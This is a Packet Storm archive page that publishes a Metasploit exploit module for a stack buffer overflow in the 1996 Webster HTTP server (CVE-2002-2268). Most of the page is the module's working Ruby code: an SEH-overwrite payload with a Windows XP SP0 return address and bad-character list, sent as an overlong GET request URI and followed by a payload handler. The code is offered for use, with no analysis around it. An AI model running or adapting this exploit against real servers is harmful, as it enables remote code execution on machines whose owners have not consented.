what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Webster HTTP Server GET Buffer Overflow

Webster HTTP Server GET Buffer Overflow
Posted Nov 5, 2010
Authored by patrick | Site metasploit.com

This exploits a stack buffer overflow in the Webster HTTP server. The server and source code was released within an article from the Microsoft Systems Journal in February 1996 titled "Write a Simple HTTP-based Server Using MFC and Windows Sockets".

tags | exploit, web, overflow
systems | windows
advisories | CVE-2002-2268
SHA-256 | 0d341c47e7cabeb02b12b776372115f798017f23cece248d2f04a7073ce91809

Webster HTTP Server GET Buffer Overflow

Change Mirror Download
##
# $Id: webster_http.rb 10887 2010-11-03 12:19:19Z patrickw $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Webster HTTP Server GET Buffer Overflow',
'Description' => %q{
This exploits a stack buffer overflow in the Webster HTTP server.
The server and source code was released within an article from
the Microsoft Systems Journal in February 1996 titled "Write a
Simple HTTP-based Server Using MFC and Windows Sockets".
},
'Author' => [ 'patrick' ],
'Version' => '$Revision: 10887 $',
'References' =>
[
[ 'CVE', '2002-2268' ],
[ 'OSVDB', '44106' ],
[ 'BID', '6289' ],
[ 'URL', 'http://www.microsoft.com/msj/archive/s25f.aspx' ],
[ 'URL', 'http://www.netdave.com/webster/webster.htm' ],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ] , # pop esi; pop ebx; ret ws2help.dll winxp
[ 'Debug', { 'Ret' => 0x44434241 } ] , # todo - add more targets.
],
'DisclosureDate' => 'Dec 02 2002',
'DefaultTarget' => 0))
end

def exploit
print_status("Sending request...")
seh = generate_seh_payload(target.ret)

send_request_raw({
'uri' => "/" + Rex::Text.rand_text_alphanumeric(266) + seh
}, 2)

handler
end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close